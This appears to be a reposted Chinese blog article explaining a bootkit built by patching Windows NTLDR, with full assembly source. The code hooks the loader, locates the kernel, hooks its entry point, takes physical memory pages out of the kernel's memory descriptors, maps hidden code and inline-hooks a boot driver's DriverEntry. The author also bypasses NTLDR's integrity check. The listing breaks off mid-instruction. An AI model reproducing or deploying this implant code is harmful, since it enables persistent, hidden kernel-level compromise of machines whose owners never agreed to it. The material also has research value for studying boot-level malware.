您的位置: 飞扬精品软件园 >> 文章中心 >> 系统教程 >> Win 系统 >> 一种基于NTLDR的BOOTKIT──原理及实现

相关文章链接

最新新闻资讯

    一种基于NTLDR的BOOTKIT──原理及实现

    一种基于NTLDR的BOOTKIT──原理及实现


    • 阅览次数: 文章来源: 原文作者: 整理日期: 2010-05-22

    前言:XCON2008将于不日召开,其间国内外安全界之高手将云集席间,共享中国安全界这一盛会。吾自学计算机以来从网络受益颇多,或换言之,若无网络便无今日我对计算机知识的了解。吾近来研究NTLDR的结构和功能略有所得便随手做了个基于NTLDR的BOOTKIT,正想写篇相关文章回馈互联网,也正如安全焦点的LOGO所说"From the Internet, For the Internet",而恰好这时又侧耳听闻MJ0011将在此次XCON上发布它的高级Bootkit Tophet.A,吾虽对Tophet略有耳闻,但未睹其真面目,这次吾对Tophet也是翘首以待,在一睹Tophet真身以前,吾发现很少有相关BOOTKIT的文章,也未见任何源代码,便决心写下这篇文章,一为回馈滋养了我多年的网络;二也为这次XCON的召开推波助澜。

    一.简介
    二.NTLDR的HOOK
    三.内核的加载与定位
    四.对内核做HOOK
    五.在内存里搭个狗窝
    六.把自己挂上去
    七.源代码
    八.尾声



    一.简介

        先简要介绍一下我这个BOOTKIT吧,我这个BOOTKIT是基于NTLDR的文件型BOOTKIT,NTLDR是winNT系列内核的Osloader,当开机以后BIOS载入MBR,MBR载入DBR,然后DBR载入NTLDR,并将执行权转交给它,它再来启动内核。所以NTLDR是最接近内核的,而且对它做HOOK,可以避免编写针对各种类型外设的代码,提高通用性。总的来说,我的BOOTKIT有以下几个特点:
                  1.ring3下就可完成hook(改写NTLDR)
                  2.注入内核的代码没有内存大小限制,也无需自己读入代码
                  3.BOOTDRIVER驱动初始化时加载(依情况而定,也可hook内核其它地方)
                  4.理论上可以hook各种版本ntldr
                  5.理论上可以引导各个版本nt内核和内存相关boot.ini参数(嗯,你的内核得能用ntldr启动才行)
    暂时没有对PAE内核,x64和内存相关BOOT.INI参数提供支持。我的调试环境是Bochs、Vmware、Windbg、Win2000 sp4、WinXp sp2、Win2003 sp1。汇编工具是C32ASM。本文牵涉到Windows x86的段页式内存管理、Windows地址空间布局结构、PE文件结构和汇编的知识,本人在写作本文时假设您已经了解了这些知识。


    二.NTLDR的HOOK

            要做NTLDR的BOOTKIT,当然,我们首先面临的问题就是如何对NTLDR做HOOK?要对NTLDR做HOOK,那就首先要对NTLDR的文件结构有所理解才行。我大致说一下它的结构和功能,NTLDR是由两部分构成,一部分是被称作Su Module(Startup)的16位汇编代码,另一部分则是名为Osloader的PE文件。Su module位于NTLDR的头部,Osloader紧随其后。DBR将NTLDR加载到物理地址2000:0000开始的地方,然后跳转到这个地址,将控制权交给NTLDR进行引导,而这个地址也就是Su的入口。Su的主要功能是为Osloader准备内存环境,包括GDT、IDT、打开保护模式(未分页)和将Osloader按编译时的虚拟地址移动Osloader等等。在MP(多处理器)版本的NTLDR中,Su还有一件事情要做,就是检测Osloader的完整性,如果它检测到NTLDR被修改,那么,嘿嘿,这句话送给你“NTLDR is corrupt.The system cannot boot.”为了兼容windows 2003,我的DEMO就是用这种版本的NTLDR做的,由于我太懒,就没有研究这部分了,我绕过它的办法就是把它切了——我用没有校验的Su替换了它 ——我是不是很黄很暴力?嗯,我想是有那么点!

            再讲讲Osloader,它的作用比较复杂,说的简单点就是为内核准备执行环境,然Osloader会根据boot.ini的设置将windows内核、hal.dll和其它Boot Driver加载进内存。有关NTLDR更详细的结构和功能,请读者参看有关资料。

            了解了NTLDR的大致结构和功能。好,接着我们来看一下我们HOOK NTLDR所存在的问题?首先就是该在哪下手,理论上你可以在任何一个地方下手(废话),但是接下来你该跳转到哪里呢?茫茫内存,我该如何走啊,我又在人生的道路上迷路了。。。靠!所以先要选个老巢,执行HOOK CODE之后,才能让CPU有个地方可以去。我选择将CODE放在Osloader里,没错,Su会按SECTION的地址重定位Osloader,这样我们就可以很轻松地定位我们CODE的地址。我的做法就是直接用工具在Osloader里新建了一个节,将所有XX都放在了里面。兜了个圈子,我们回来,我们到底要在哪下手呢?因为我们的根本目的是要HOOK内核,所以执行我们CODE的时候,内核要已经被加载进了内存。那我们怎么知道在哪内核已经被加载进了内存呢?根据我对NTLDR的分析,在将控制权转给内核之前,Osloader会调用这个函数──BlSetupForNt,这个函数的会最后做些设置的收尾工作,包括剪裁页表。有个函数有个P用啊?要定位它的位置啊!嗯,所以我在这个函数里面找到了这个特征码:
                                     mov eax, cr3
                                     mov cr3, eax (机器码:“0F 20 D8 0F 22 D8” )
    这段代码是用来flush TLB的。这段代码在我能找到的NTLDR里都出现过了,眼看就可以下手了吧,我很遗憾的告诉你,我不只在一处找到了这串特征码,并且有在内核加载之前调用的也有在内核加载之后调用的。为了顺利HOOK内核,所以我在CODE里加了保护性代码,通过这段代码你几乎可以在任何完整指令处进行HOOK。你可以下很多HOOK,不过得有一个是在内核加载之后执行的。利用这段特征串能比较方面的找到HOOK点。

            在我制作DEMO的过程中发现“0F 20 D8 0F 22 D8” 串会集中出现在文件头的部分和文件尾的部分,建议只HOOK文件尾的串。我使用"call RVA"共5个字节的指令来实现跳转。

    PS:Osloader位置的确定可以直接搜索特征值"MZ", "PE"。


    三.内核的加载与定位

            当控制权顺着hook code,转移到这一步的时候,如上所言,我们必须确定内核是否加载。我第一个想到的办法就是硬编码内核一个地址,然后测试这个地址是否有效,这个办法是可行的,因为同一个NTLDR总会将内核加载在同一个地址。但是这样的通用性不高,ring3下面的工作会增加。为了使DEMO具有较高通用性,我使用了暴搜的方法,从可能的加载地址:VA0x80400000~0x81000000。为了不致引起page fault,首先必须从PDE搜索起,再确定PTE是否有效,然后测试MZ、PE标志,最后ImageSize的大小要大于0x150000(也就内核这么大了),这是为了避免其它PE文件影响结果,像Osloader。


    四.对内核做HOOK
            这个时候整个内核就在我们眼前了,但是我们还不能直接动手,因为我们现在CODE所在的内存会在内核初始化的时候被清洗掉,所以我们还要HOOK一次EntryPoint。为什么?这个道理就像我们站在了一座宝库门口,但是我们偏偏没有一把打开宝库的钥匙,而这把钥匙会出现在内核的EntryPoint里。这把钥匙就是内核入口函数KiSystemStartup的参数──LoaderBlock。
    这是一个类型名为LOADER_PARAMETER_BLOCK的指针。它的结构如下:

        typedef struct _LOADER_PARAMETER_BLOCK {
            LIST_ENTRY LoadOrderListHead;
            LIST_ENTRY MemoryDescriptorListHead;
            LIST_ENTRY BootDriverListHead;
            ULONG KernelStack;
            ULONG Prcb;
            ULONG Process;
            ULONG Thread;
            ULONG RegistryLength;
            PVOID RegistryBase;
            PCONFIGURATION_COMPONENT_DATA ConfigurationRoot;
            PCHAR ArcBootDeviceName;
            PCHAR ArcHalDeviceName;
            PCHAR NtBootPathName;
            PCHAR NtHalPathName;
            PCHAR LoadOptions;
            PNLS_DATA_BLOCK NlsData;
            PARC_DISK_INFORMATION ArcDiskInformation;
            PVOID OemFontFile;
            struct _SETUP_LOADER_BLOCK *SetupLoaderBlock;
            ULONG Spare1;

            union {
                 I386_LOADER_BLOCK I386;
                 MIPS_LOADER_BLOCK Mips;
                 ALPHA_LOADER_BLOCK Alpha;
                PPC_LOADER_BLOCK Ppc;
            } u;

         } LOADER_PARAMETER_BLOCK, *PLOADER_PARAMETER_BLOCK;

    没错,在这里我们能找到很多我们想得到的数据,以便我们能成功hook内核。


    五.在内存里搭个狗窝

            当CPU执行到这里的时候,我们已经来到了内核入口点——宝库就在眼前。宝库虽好,可是却没有我们住的地方啊,所以我们要在宝库旁边建个窝,这样才能让我们长期在宝库里XX。为了搭建我们的狗窝,我们有两样工作要做,一是,设法找到空闲的物理页用于映射;二是,找一个虚拟地址空间映射我们找到的物理页。对于第一步,我想你已经猜到了,嗯,就是LoaderBlock中的MemoryDescriptorListHead。它指向的实际数据结构如下:

        typedef struct _MEMORY_ALLOCATION_DESCRIPTOR {
            LIST_ENTRY ListEntry;
            TYPE_OF_MEMORY MemoryType;
            ULONG BasePage;
            ULONG PageCount;
        } MEMORY_ALLOCATION_DESCRIPTOR, *PMEMORY_ALLOCATION_DESCRIPTOR;

    其中 MemoryType为

        typedef enum _TYPE_OF_MEMORY {
            LoaderExceptionBlock = MemoryExceptionBlock,            // 0
            LoaderSystemBlock = MemorySystemBlock,                  // 1
            LoaderFree = MemoryFree,                                // 2                            
            LoaderBad = MemoryBad,                                  // 3
            LoaderLoadedProgram = MemoryLoadedProgram,              // 4            
            LoaderFirmwareTemporary = MemoryFirmwareTemporary,      // 5      
            LoaderFirmwarePermanent = MemoryFirmwarePermanent,      // 6            
            LoaderOsloaderHeap,                                     // 7                              
            LoaderOsloaderStack,                                    // 8                            
            LoaderSystemCode,                                       // 9                            
            LoaderHalCode,                                          // a                                
            LoaderBootDriver,                                       // b                                
            LoaderConsoleInDriver,                                  // c
            LoaderConsoleOutDriver,                                 // d
            LoaderStartupDpcStack,                                  // e
            LoaderStartupKernelStack,                               // f
            LoaderStartupPanicStack,                                // 10
            LoaderStartupPcrPage,                                   // 11
            LoaderStartupPdrPage,                                   // 12
            LoaderRegistryData,                                     // 13                            
            LoaderMemoryData,                                       // 14                                
            LoaderNlsData,                                          // 15                                
            LoaderSpecialMemory,                                    // 16                              
            LoaderMaximum                                           // 17
        } TYPE_OF_MEMORY;


        “借”物理内存的方法有很多种,我们可以遍历List,将合乎我们要求的DESCRIPTOR标记为LoaderSystemCode或者LoaderBad等等。我用的方法则是在其它两个参数上做文章——BasePage和PageCount。它们分别代表了这个DESCRIPTOR起始页号和包含的物理页数。我只要修改这两个参数,我就可以想要多少内存页就有多少内存页了——夸张了点!这样抹去的页也永远从内核中消失了(这里的这个方法应该还可以用于其它XX)。

          接下来我们要做的事就是在虚拟内存中映射我们自己,4GB的空间我们应该映射在哪里呢?我首先注意到的就是最后4MB的空间,这个空间是给Hal用的,应该会有空闲空间吧,但实验表明这一块的区域会被重写,导致我们的地址被抹去,所以是不可用的。然后,我的做法是随便找了片内存,修改了PDE用了个页做页表进行映射,结果是我失败了,当然也不排除这种方法的可能性,也许是我的点没选对。最后我用的方法是在内核虚拟地址所在的那个PDE的后面一个PDE开始寻找虚拟地址空间,我找的PDE是有效PDE,不是无效的,然后再在页表中找无效PTE,将我要映射的物理地址的PTE写入这个无效PTE。最后这种方法成功了,不仅没有抹去,连进入windows之后这片内存还完整的存在。

          在win2k中,这种找地址的方法会遇到麻烦,这是由于win2k的内存管理不同于它的后辈,它使用4MB的LARGE_PAGE进行管理,从内核地址空间开始一共连续映射512MB物理内存,所以用这种方法得到的虚拟地址最后会不存在,导致BSOD。其实win2k中对于虚拟地址的计算还要简单,那就是:虚拟地址=0x80000000+物理地址。

          这样经过这两步,我们就成功地打造了我们健在内核旁边我们的“狗窝”,我们就等着挖宝了。。。

    PS:有关windows的x86体系的内存管理请看相关资料,推荐看webcrazy的系列文章。


    六.把自己挂上去

            现在有了我们自己的狗窝,下面就欠一扇从宝库到我们狗窝的大门了,没错,还是LoaderBlock。LoadOrderListHead和BootDriverListHead,这两个参数所链接的代码都会在ExpInitializeExecutive函数中初始化,并且LoadOrderListHead所链代码会先于BootDriverListHead被调用。而BootDriverListHead则是在IO system被初始化时调用。鉴于内核的初始化程度,我选择了后者BootDriverListHead。BootDriverListHead实际上所指向的是BOOT_DRIVER_LIST_ENTRY这么一个结构:

        typedef struct _BOOT_DRIVER_LIST_ENTRY {
            LIST_ENTRY Link;
            UNICODE_STRING FilePath;
            UNICODE_STRING RegistryPath;
            PLDR_DATA_TABLE_ENTRY LdrEntry;
        } BOOT_DRIVER_LIST_ENTRY, *PBOOT_DRIVER_LIST_ENTRY;

    其中的LdrEntry就是关键了,关于这个结构我只找到它的部分域,但是已经够用了:

        typedef struct _LDR_DATA_TABLE_ENTRY {

             LIST_ENTRY InLoadOrderLinks;
             LIST_ENTRY InMemoryOrderLinks;
             LIST_ENTRY InInitializationOrderLinks;
             PVOID DllBase;
             PVOID EntryPoint;
             ULONG SizeOfImage;
             UNICODE_STRING FullDllName;
             UNICODE_STRING BaseDllName;

            +0x034 Flags            : Uint4B
            +0x038 LoadCount        : Uint2B
            +0x03a TlsIndex         : Uint2B
            +0x03c HashLinks        : _LIST_ENTRY
            +0x03c SectionPointer   : Ptr32 Void
            +0x040 CheckSum         : Uint4B
            +0x044 TimeDateStamp    : Uint4B
            +0x044 LoadedImports    : Ptr32 Void
            +0x048 EntryPointActivationContext : Ptr32 Void
            +0x04c PatchInformation : Ptr32 Void

        } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

            我们通过LdrEntry就可以找到BootDriver的EntryPoint,对它做inline hook就可以了。这里要注意三点:1.只有Flags为某个值时,它才会被初始化(或者说这个BootDriver的DriverEntry函数才会被调用); 2.由于加载的驱动会被搬移到内存高地址,所以要做inline hook; 3.这个时候驱动还没有relocate,所以某些间接寻址的代码会被修改,所以要找一个代码不会被修改的值。我使用了7个字节来call我的代码(mov eax, xxxxxx; call eax;),所以要保证这7个字节不会修改。

    我在win2k的某个驱动中找到了这样的代码段:
               55                    PUSH EBP                              
               8BEC                  MOV EBP,ESP                            
               83EC 10               SUB ESP,10

    XP中:
               8BFF                  MOV EDI,EDI                            
               55                    PUSH EBP                              
               8BEC                  MOV EBP,ESP

             只要inline hook这样的驱动就可以保证不会在relocate后,执行乱七八糟的代码了。

             如此,一扇通向我们狗窝的金灿灿的大门就做好了,你就等着大摇大摆到宝库里往自己窝里搬东西好了。。。


    七.源代码

             说了这么多废话,也不知道您听明白没有,没有?!直接看src,这才是硬道理!

             以下这段代码是直接从我的DEMO上取下来的,因为所有代码都是一句句像debug一样敲进去的,所以就没有那么好看,不要怪我啊!这段代码成功引导了win2k sp4, winxp sp2, win2003 sp1, wrk等内核,不支持PAE内核和VISTA,还有一些与内存有关的boot.ini的参数也不支持。至于DEMO,由于是直接改的M$的NTLDR,牵涉到xx问题,就不公开发表了。

    //============================================================================================================

    //以下就是完整的源代码了,我加了少量注释,帮助理解:

    //---------------------------------Module 1------------------------------------------------------------------

    // 修复返回地址,直接执行被hook的代码,这样比修复省n个字节
    00484000: FF0424                         INC     DWORD PTR [ESP]
    00484003: 0F20D8                         MOV     EAX,CR3
    00484006: 0F22D8                         MOV     CR3,EAX

    // 可能会被重复执行,避免重复hook内核
    00484009: 803D FF404800 01               CMP     BYTE PTR [4840FF],1
    00484010: 75 01                          JNZ     SHORT 00484013
    00484012: C3                             RETN

    // 在VA:0x80400000~0x81000000范围内暴搜内核,以确定内核已经加载及找到ImageBase
    00484013: 53                             PUSH    EBX
    00484014: 51                             PUSH    ECX
    00484015: B8 00F03F80                    MOV     EAX,803FF000
    0048401A: 05 00100000                    ADD     EAX,1000
    0048401F: 3D 00000081                    CMP     EAX,81000000                    // 搜索失败
    00484024: 0F84 74000000                  JE      0048409E
    0048402A: 8BD8                           MOV     EBX,EAX
    0048402C: C1EB 16                        SHR     EBX,16
    0048402F: C1E3 02                        SHL     EBX,2
    00484032: 81CB 000030C0                  OR      EBX,C0300000
    00484038: F703 01000000                  TEST    DWORD PTR [EBX],1
    0048403E: 74 DA                          JE      SHORT 0048401A
    00484040: 8BD8                           MOV     EBX,EAX
    00484042: C1EB 0A                        SHR     EBX,A
    00484045: 81C3 000000C0                  ADD     EBX,C0000000
    0048404B: F703 01000000                  TEST    DWORD PTR [EBX],1
    00484051: 74 C7                          JE      SHORT 0048401A
    00484053: 66:8138 4D5A                   CMP     WORD PTR [EAX],5A4D             // 'MZ' flag
    00484058: 75 C0                          JNZ     SHORT 0048401A
    0048405A: 8B58 3C                        MOV     EBX,[EAX+3C]
    0048405D: 813C18 50450000                CMP     DWORD PTR [EAX+EBX],4550         // 'PE' flag
    00484064: 75 B4                          JNZ     SHORT 0048401A
    00484066: 817C18 50 00001500             CMP     DWORD PTR [EAX+EBX+50],150000    // ImageSize >= 0x150000 bytes
    0048406E: 7C AA                          JL      SHORT 0048401A

    // 将内核的ImageBase写入0x4849FC内,并找到内核的EntryPoint做inline hook
    00484070: A3 FC494800                    MOV     [4849FC],EAX
    00484075: 034418 28                      ADD     EAX,[EAX+EBX+28]
    00484079: 8B18                           MOV     EBX,[EAX]
    0048407B: 8B48 04                        MOV     ECX,[EAX+4]
    0048407E: 50                             PUSH    EAX
    0048407F: B8 F0404800                    MOV     EAX,4840F0
    00484084: 8918                           MOV     [EAX],EBX
    00484086: 8948 04                        MOV     [EAX+4],ECX
    00484089: 58                             POP     EAX
    0048408A: C700 B8004148                  MOV     DWORD PTR [EAX],484100B8        // 写入 "mov eax, 0x484100"
    00484090: C740 04 00FFD000               MOV     DWORD PTR [EAX+4],D0FF00        //      "call eax"
    00484097: C605 FF404800 01               MOV     BYTE PTR [4840FF],1
    0048409E: 59                             POP     ECX
    0048409F: 5B                             POP     EBX
    004840A0: C3                             RETN


    //-----------------------------------------Module 2-------------------------------------------------------

    // 修复返回地址和内核入口代码
    00484100: 832C24 07                      SUB     DWORD PTR [ESP],7
    00484104: B8 F0404800                    MOV     EAX,4840F0
    00484109: 8B18                           MOV     EBX,[EAX]
    0048410B: 8B48 04                        MOV     ECX,[EAX+4]
    0048410E: 8B0424                         MOV     EAX,[ESP]
    00484111: 8918                           MOV     [EAX],EBX
    00484113: 8948 04                        MOV     [EAX+4],ECX

    // 暴搜MemoryDescriptor,寻找合适的物理内存页存放代码
    00484116: 55                             PUSH    EBP
    00484117: 8BEC                           MOV     EBP,ESP
    00484119: 83C5 0C                        ADD     EBP,C
    0048411C: 8B6D 00                        MOV     EBP,[EBP]
    0048411F: 8BDD                           MOV     EBX,EBP
    00484121: 83C3 08                        ADD     EBX,8
    00484124: 8B1B                           MOV     EBX,[EBX]
    00484126: 837B 08 02                     CMP     DWORD PTR [EBX+8],2        // MemoryType == MemoryFree
    0048412A: 75 F8                          JNZ     SHORT 00484124
    0048412C: 817B 0C 00100000                                   // no meaning, just for debugging.
    00484133: 837B 10 10                     CMP     DWORD PTR [EBX+10],10
    00484137: 7C EB                          JL      SHORT 00484124
    00484139: 8B53 0C                        MOV     EDX,[EBX+C]
    0048413C: 8343 0C 05                     ADD     DWORD PTR [EBX+C],5        // "借"5个物理页(没的还的)
    00484140: 836B 10 05                     SUB     DWORD PTR [EBX+10],5

    // 开始暴搜页表,寻找合适的虚拟地址映射注入的代码
    00484144: A1 FC494800                    MOV     EAX,[4849FC]
    00484149: C1E8 16                        SHR     EAX,16
    0048414C: C1E0 02                        SHL     EAX,2
    0048414F: 05 000030C0                    ADD     EAX,C0300000
    00484154: 83C0 04                        ADD     EAX,4                // 在ImageBase后所在PDE的下一个PDE开始搜索
    00484157: 83E8 04                        SUB     EAX,4                // 主要是避开使用NTLDR的虚拟地址
    0048415A: 83C0 04                        ADD     EAX,4
    0048415D: 8B18                           MOV     EBX,[EAX]
    0048415F: 83E3 01                        AND     EBX,1
    00484162: 74 F6                          JE      SHORT 0048415A
    00484164: 50                             PUSH    EAX
    00484165: C1E0 0A                        SHL     EAX,A
    00484168: 33C9                           XOR     ECX,ECX
    0048416A: 83C1 04                        ADD     ECX,4
    0048416D: 8B5C08 FC                      MOV     EBX,[EAX+ECX-4]
    00484171: 83E3 01                        AND     EBX,1
    00484174: 74 0B                          JE      SHORT 00484181
    00484176: 81F9 00100000                  CMP     ECX,1000
    0048417C: 75 EC                          JNZ     SHORT 0048416A
    0048417E: 58                             POP     EAX
    0048417F: EB D9                          JMP     SHORT 0048415A
    00484181: 5B                             POP     EBX

    // 在找到的PTE地址里写入要映射的物理内存页号等信息
    00484182: C1E2 0C                        SHL     EDX,C
    00484185: 81CA 63010000                  OR      EDX,163
    0048418B: 03C1                           ADD     EAX,ECX
    0048418D: 83E8 04                        SUB     EAX,4
    00484190: 8910                           MOV     [EAX],EDX
    00484192: 0F20DB                         MOV     EBX,CR3
    00484195: 0F22DB                         MOV     CR3,EBX
    00484198: C1E0 0A                        SHL     EAX,A
    0048419B: 8BD0                           MOV     EDX,EAX

    // 判断内核的版本是不是NT 5.0(win2000)
    0048419D: A1 FC494800                    MOV     EAX,[4849FC]
    004841A2: 8B58 3C                        MOV     EBX,[EAX+3C]
    004841A5: 807C18 46 00                   CMP     BYTE PTR [EAX+EBX+46],0
    004841AA: 75 07                          JNZ     SHORT 004841B3
    004841AC: 68 00200000                    PUSH    2000
    004841B1: EB 05                          JMP     SHORT 004841B8
    004841B3: 68 01200000                    PUSH    2001

    // 在BootDriver中找一个合适的驱动做inline hook
    004841B8: 8BC5                           MOV     EAX,EBP
    004841BA: 83C0 10                        ADD     EAX,10
    004841BD: 8B00                           MOV     EAX,[EAX]
    004841BF: 8B48 18                        MOV     ECX,[EAX+18]
    004841C2: 8B09                           MOV     ECX,[ECX]
    004841C4: 8179 34 00400000               CMP     DWORD PTR [ECX+34],4000   // 观察值,flag为0x4000,该驱动的DriverEntry才会被调用
    004841CB: 75 F0                          JNZ     SHORT 004841BD
    004841CD: 8B49 1C                        MOV     ECX,[ECX+1C]
    004841D0: 8B19                           MOV     EBX,[ECX]
    004841D2: 813C24 00200000                CMP     DWORD PTR [ESP],2000
    004841D9: 75 10                          JNZ     SHORT 004841EB
    004841DB: 81FB 558BEC83                  CMP     EBX,83EC8B55                // 特征值 "558BEC83EC"
    004841E1: 75 DA                          JNZ     SHORT 004841BD
    004841E3: 8079 04 EC                     CMP     BYTE PTR [ECX+4],EC
    004841E7: 75 D4                          JNZ     SHORT 004841BD
    004841E9: EB 0E                          JMP     SHORT 004841F9
    004841EB: 81FB 8BFF558B                  CMP     EBX,8B55FF8B                // 特征值 "8BFF558BEC"
    004841F1: 75 CA                          JNZ     SHORT 004841BD
    004841F3: 8079 04 EC                     CMP     BYTE PTR [ECX+4],EC       //   两处特征值可以保证inline hook的代码
    004841F7: 75 C4                          JNZ     SHORT 004841BD            // 不会被Relocate。
    004841F9: 8B01                           MOV     EAX,[ECX]
    004841FB: 8982 F00F0000                  MOV     [EDX+FF0],EAX
    00484201: 8B41 04                        MOV     EAX,[ECX+4]
    00484204: 8982 F40F0000                  MOV     [EDX+FF4],EAX
    0048420A: C601 B8                        MOV     BYTE PTR [ECX],B8            // hook DriverEntry
    0048420D: 52                             PUSH    EDX                        // 写入 "mov eax, xxxxxxx; call eax"
    0048420E: 817C24 04 00200000             CMP     DWORD PTR [ESP+4],2000                  
    00484216: 75 1A                          JNZ     SHORT 00484232                          
    00484218: C1EA 0C                        SHR     EDX,C                        // 重新计算win2k中,注入代码的虚拟地址
    0048421B: C1E2 02                        SHL     EDX,2
    0048421E: 81C2 000000C0                  ADD     EDX,C0000000
    00484224: 8B12                           MOV     EDX,[EDX]
    00484226: 81E2 00F0FFFF                  AND     EDX,FFFFF000
    0048422C: 81C2 00000080                  ADD     EDX,80000000
    00484232: 8951 01                        MOV     [ECX+1],EDX
    00484235: 66:C741 05 FFD0                MOV     WORD PTR [ECX+5],D0FF
    0048423B: 5A                             POP     EDX
    0048423C: 58                             POP     EAX

    // 将要注入的代码复制到目标地址里
    0048423D: B8 00454800                    MOV     EAX,484500
    00484242: 33C9                           XOR     ECX,ECX
    00484244: 8B1C08                         MOV     EBX,[EAX+ECX]
    00484247: 891C11                         MOV     [ECX+EDX],EBX
    0048424A: 83C1 04                        ADD     ECX,4
    0048424D: 81F9 00050000                  CMP     ECX,500
    00484253: 75 EF                          JNZ     SHORT 00484244
    00484255: 5D                             POP     EBP
    00484256: C3                             RETN

    //------------------------------------------Module 3-----------------------------------------------

    // 为注入的代码,只调用了DbgPrint打印了一句话
    00484500: 50                             PUSH    EAX
    00484501: E8 00000000                    CALL    00484506
    00484506: 58                             POP     EAX
    00484507: 83E8 06                        SUB     EAX,6
    0048450A: 53                             PUSH    EBX
    0048450B: 836C24 08 07                   SUB     DWORD PTR [ESP+8],7
    00484510: 8B5C24 08                      MOV     EBX,[ESP+8]
    00484514: 51                             PUSH    ECX
    00484515: 52                             PUSH    EDX
    00484516: 8B88 F00F0000                  MOV     ECX,[EAX+FF0]
    0048451C: 8B90 F40F0000                  MOV     EDX,[EAX+FF4]
    00484522: 890B                           MOV     [EBX],ECX
    00484524: 8953 04                        MOV     [EBX+4],EDX
    00484527: 8D98 00040000                  LEA     EBX,[EAX+400]
    0048452D: 53                             PUSH    EBX
    0048452E: 68 08000000                &


查看所有评论

网友对一种基于NTLDR的BOOTKIT──原理及实现的评论

网名:
主题:
内容:
验证码: